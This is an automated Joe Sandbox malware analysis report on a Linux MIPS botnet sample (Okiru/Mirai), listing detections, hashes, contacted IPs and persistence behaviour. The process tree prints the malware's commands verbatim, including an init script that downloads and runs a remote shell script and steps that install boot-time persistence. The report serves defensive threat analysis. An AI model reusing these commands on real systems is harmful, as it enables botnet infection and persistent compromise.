Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
mips.nn.elf

Overview

General Information

Sample name:mips.nn.elf
Analysis ID:1580240
MD5:46c3eacda981cd4dd2d8f25c4d2b0deb
SHA1:70cd3adb0a28d902e1fd8072df94fba871bd75eb
SHA256:d4919a89ce42771d1decb839ffcd87a5133298553b43ddbae8a2bc9cc0d6482b
Tags:elfuser-abuse_ch
Infos:

Detection

Okiru
Score:84
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Okiru
Drops files in suspicious directories
Sample deletes itself
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1580240
Start date and time:2024-12-24 05:57:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 47s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:mips.nn.elf
Detection:MAL
Classification:mal84.spre.troj.evad.linELF@0/10@0/0

Warnings

  • VT rate limit hit for: /etc/init.d/mips.nn.elf

Runtime Messages

Command:/tmp/mips.nn.elf
PID:5509
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
The Gorilla Botnet Cats Came After You!
Standard Error:

Process Tree

  • system is lnxubuntu20
  • mips.nn.elf (PID: 5509, Parent: 5433, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.nn.elf
    • sh (PID: 5532, Parent: 5509, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"
      • sh New Fork (PID: 5534, Parent: 5532)
      • systemctl (PID: 5534, Parent: 5532, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service
    • sh (PID: 5550, Parent: 5509, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
      • sh New Fork (PID: 5552, Parent: 5550)
      • chmod (PID: 5552, Parent: 5550, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system
    • sh (PID: 5554, Parent: 5509, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
      • sh New Fork (PID: 5556, Parent: 5554)
      • ln (PID: 5556, Parent: 5554, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system
    • sh (PID: 5557, Parent: 5509, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf"
    • sh (PID: 5559, Parent: 5509, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5561, Parent: 5559)
      • chmod (PID: 5561, Parent: 5559, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/mips.nn.elf
    • sh (PID: 5562, Parent: 5509, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
      • sh New Fork (PID: 5568, Parent: 5562)
      • mkdir (PID: 5568, Parent: 5562, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d
    • sh (PID: 5569, Parent: 5509, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5574, Parent: 5569)
      • ln (PID: 5574, Parent: 5569, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf
  • udisksd New Fork (PID: 5521, Parent: 803)
  • dumpe2fs (PID: 5521, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • systemd New Fork (PID: 5548, Parent: 5547)
  • snapd-env-generator (PID: 5548, Parent: 5547, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • udisksd New Fork (PID: 5591, Parent: 803)
  • dumpe2fs (PID: 5591, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • udisksd New Fork (PID: 5646, Parent: 803)
  • dumpe2fs (PID: 5646, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • udisksd New Fork (PID: 5647, Parent: 803)
  • dumpe2fs (PID: 5647, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
mips.nn.elfJoeSecurity_OkiruYara detected OkiruJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5509.1.00007fa17c400000.00007fa17c41c000.r-x.sdmpJoeSecurity_OkiruYara detected OkiruJoe Security
      Process Memory Space: mips.nn.elf PID: 5509JoeSecurity_OkiruYara detected OkiruJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: mips.nn.elfAvira: detected
        Multi AV Scanner detection for submitted file
        Source: mips.nn.elfReversingLabs: Detection: 34%
        Source: mips.nn.elfString: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s
        Source: global trafficTCP traffic: 192.168.2.14:51358 -> 94.156.227.234:38242
        Source: /tmp/mips.nn.elf (PID: 5509)Socket: 0.0.0.0:38242Jump to behavior
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: mips.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, mips.nn.elf.30.dr, bootcmd.12.dr, custom.service.12.drString found in binary or memory: http://94.156.227.233/
        Source: mips.nn.elfString found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
        Source: Initial sampleString containing 'busybox' found: /bin/busybox
        Source: Initial sampleString containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofi
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal84.spre.troj.evad.linELF@0/10@0/0

        Persistence and Installation Behavior

        barindex
        Sample tries to persist itself using /etc/profile
        Source: /tmp/mips.nn.elf (PID: 5509)File: /etc/profileJump to behavior
        Sample tries to persist itself using System V runlevels
        Source: /tmp/mips.nn.elf (PID: 5509)File: /etc/rc.localJump to behavior
        Source: /usr/bin/ln (PID: 5556)File: /etc/rcS.d/S99system -> /etc/init.d/systemJump to behavior
        Source: /usr/bin/ln (PID: 5574)File: /etc/rc.d/S99mips.nn.elf -> /etc/init.d/mips.nn.elfJump to behavior
        Sample tries to set files in /etc globally writable
        Source: /tmp/mips.nn.elf (PID: 5509)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5552)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5561)File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5690/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5350/cmdlineJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5680/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5691/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5681/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5692/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5682/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5683/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5684/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5685/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5686/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5687/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5688/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5678/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5689/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5646/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/803/cmdlineJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5679/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5647/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5581)File opened: /proc/5658/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5532)Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5550)Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5554)Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5557)Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5559)Shell command executed: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5562)Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5569)Shell command executed: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /bin/sh (PID: 5552)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/systemJump to behavior
        Source: /bin/sh (PID: 5561)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mips.nn.elfJump to behavior
        Source: /bin/sh (PID: 5568)Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.dJump to behavior
        Source: /bin/sh (PID: 5534)Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.serviceJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5509)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5552)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5561)File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 5509)Writes shell script file to disk with an unusual file extension: /etc/init.d/systemJump to dropped file
        Source: /tmp/mips.nn.elf (PID: 5509)Writes shell script file to disk with an unusual file extension: /etc/rc.localJump to dropped file
        Source: /bin/sh (PID: 5557)Writes shell script file to disk with an unusual file extension: /etc/init.d/mips.nn.elfJump to dropped file

        Hooking and other Techniques for Hiding and Protection

        barindex
        Drops files in suspicious directories
        Source: /tmp/mips.nn.elf (PID: 5509)File: /etc/init.d/systemJump to dropped file
        Source: /bin/sh (PID: 5557)File: /etc/init.d/mips.nn.elfJump to dropped file
        Sample deletes itself
        Source: /tmp/mips.nn.elf (PID: 5577)File: /tmp/mips.nn.elfJump to behavior
        Source: /tmp/mips.nn.elf (PID: 5509)Queries kernel information via 'uname': Jump to behavior
        Source: mips.nn.elf, 5509.1.000055c203f5e000.000055c204006000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mips
        Source: mips.nn.elf, 5509.1.000055c203f5e000.000055c204006000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
        Source: mips.nn.elf, 5509.1.000055c203f5e000.000055c204006000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
        Source: mips.nn.elf, 5509.1.00007ffd69ed3000.00007ffd69ef4000.rw-.sdmpBinary or memory string: jx86_64/usr/bin/qemu-mips/tmp/mips.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.nn.elf
        Source: mips.nn.elf, 5509.1.00007ffd69ed3000.00007ffd69ef4000.rw-.sdmpBinary or memory string: %s/qemu-op
        Source: mips.nn.elf, 5509.1.00007ffd69ed3000.00007ffd69ef4000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
        Source: mips.nn.elf, 5509.1.00007ffd69ed3000.00007ffd69ef4000.rw-.sdmpBinary or memory string: /tmp/qemu-open.iEtbnN
        Source: mips.nn.elf, 5509.1.000055c203f5e000.000055c204006000.rw-.sdmpBinary or memory string: U!/usr/bin/vmtoolsd
        Source: mips.nn.elf, 5509.1.00007ffd69ed3000.00007ffd69ef4000.rw-.sdmpBinary or memory string: MPDIR%s/qemu-op
        Source: mips.nn.elf, 5509.1.00007ffd69ed3000.00007ffd69ef4000.rw-.sdmpBinary or memory string: U/tmp/qemu-open.iEtbnN\d

        Stealing of Sensitive Information

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: mips.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5509.1.00007fa17c400000.00007fa17c41c000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: mips.nn.elf PID: 5509, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: mips.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5509.1.00007fa17c400000.00007fa17c41c000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: mips.nn.elf PID: 5509, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information2
        Scripting        		Valid AccountsWindows Management Instrumentation1
        Unix Shell Configuration Modification        		1
        Unix Shell Configuration Modification        		1
        Masquerading        		1
        OS Credential Dumping        		11
        Security Software Discovery        		Remote ServicesData from Local System1
        Non-Standard Port        		Exfiltration Over Other Network Medium1
        Data Manipulation
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        Systemd Service        		1
        Systemd Service        		2
        File and Directory Permissions Modification        		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt2
        Scripting        		Logon Script (Windows)1
        File Deletion        		Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1580240 Sample: mips.nn.elf Startdate: 24/12/2024 Architecture: LINUX Score: 84 51 94.156.227.234, 38242, 51358, 51360 NETIXBG Bulgaria 2->51 53 Antivirus / Scanner detection for submitted sample 2->53 55 Multi AV Scanner detection for submitted file 2->55 57 Yara detected Okiru 2->57 8 mips.nn.elf 2->8         started        12 udisksd dumpe2fs 2->12         started        14 udisksd dumpe2fs 2->14         started        16 3 other processes 2->16 signatures3 process4 file5 43 /etc/rc.local, POSIX 8->43 dropped 45 /etc/profile, ASCII 8->45 dropped 47 /etc/init.d/system, POSIX 8->47 dropped 59 Sample tries to set files in /etc globally writable 8->59 61 Sample tries to persist itself using /etc/profile 8->61 63 Drops files in suspicious directories 8->63 65 Sample tries to persist itself using System V runlevels 8->65 18 mips.nn.elf sh 8->18         started        20 mips.nn.elf sh 8->20         started        22 mips.nn.elf sh 8->22         started        24 5 other processes 8->24 signatures6 process7 file8 28 sh chmod 18->28         started        31 sh ln 20->31         started        33 sh chmod 22->33         started        49 /etc/init.d/mips.nn.elf, POSIX 24->49 dropped 67 Drops files in suspicious directories 24->67 35 sh ln 24->35         started        37 mips.nn.elf 24->37         started        39 sh systemctl 24->39         started        41 2 other processes 24->41 signatures9 process10 signatures11 69 Sample tries to set files in /etc globally writable 28->69 71 Sample tries to persist itself using System V runlevels 31->71 73 Sample deletes itself 37->73

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        mips.nn.elf34%ReversingLabsLinux.Backdoor.Mirai
        mips.nn.elf100%AviraEXP/ELF.Mirai.W

        Dropped Files

        SourceDetectionScannerLabelLink
        /etc/rc.local0%ReversingLabs

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Contacted Domains

        ⊘No contacted domains info

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/smips.nn.elffalse
          		high
          http://94.156.227.233/mips.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, mips.nn.elf.30.dr, bootcmd.12.dr, custom.service.12.drfalse
            		high

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            94.156.227.234
            		unknownBulgaria
            		57463NETIXBGfalse

            Joe Sandbox View / Context

            IPs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            94.156.227.234sh4.nn.elfGet hashmaliciousOkiruBrowse
              arm.nn.elfGet hashmaliciousOkiruBrowse
                x86_32.nn.elfGet hashmaliciousOkiruBrowse
                  mipsel.nn.elfGet hashmaliciousOkiruBrowse
                    arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      powerpc.nn.elfGet hashmaliciousOkiruBrowse
                        x86_32.nn.elfGet hashmaliciousOkiruBrowse
                          arm7.nn-20241224-0051.elfGet hashmaliciousMirai, OkiruBrowse
                            sparc.nn.elfGet hashmaliciousOkiruBrowse
                              arm5.nn-20241224-0050.elfGet hashmaliciousOkiruBrowse

                                Domains

                                ⊘No context

                                ASNs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                NETIXBGsh4.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                x86_32.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                • 94.156.227.234
                                powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                x86_32.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm7.nn-20241224-0051.elfGet hashmaliciousMirai, OkiruBrowse
                                • 94.156.227.234
                                sparc.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm5.nn-20241224-0050.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234

                                JA3 Fingerprints

                                ⊘No context

                                Dropped Files

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                /etc/init.d/systemmips.nn.elfGet hashmaliciousOkiruBrowse
                                  mips.nn.elfGet hashmaliciousOkiruBrowse
                                    mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                      mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                        mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                          /etc/init.d/mips.nn.elfmips.nn.elfGet hashmaliciousOkiruBrowse
                                            mips.nn.elfGet hashmaliciousOkiruBrowse
                                              mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                  mips.nn.elfGet hashmaliciousMirai, OkiruBrowse

                                                    Created / dropped Files

                                                    /boot/bootcmd

                                                    Download File
                                                    Process:/tmp/mips.nn.elf
                                                    File Type:ASCII text
                                                    Category:dropped
                                                    Size (bytes):120
                                                    Entropy (8bit):4.6673580822573815
                                                    Encrypted:false
                                                    SSDEEP:3:KPJRXaLOFDDoCvLdjX48FIbILbaaFOdFXa5O:WJRAqfoYZX48bbaaeXCO
                                                    MD5:1A9CFC8296A794005A6ED7309FB964C7
                                                    SHA1:F0854ADA10E43340194AE598DE8EB1A2F0436E6F
                                                    SHA-256:C5246AC8D32C6DB19DCDA396AE9F6276F305A2C0AD34BDD0AC8E5F5385DE911C
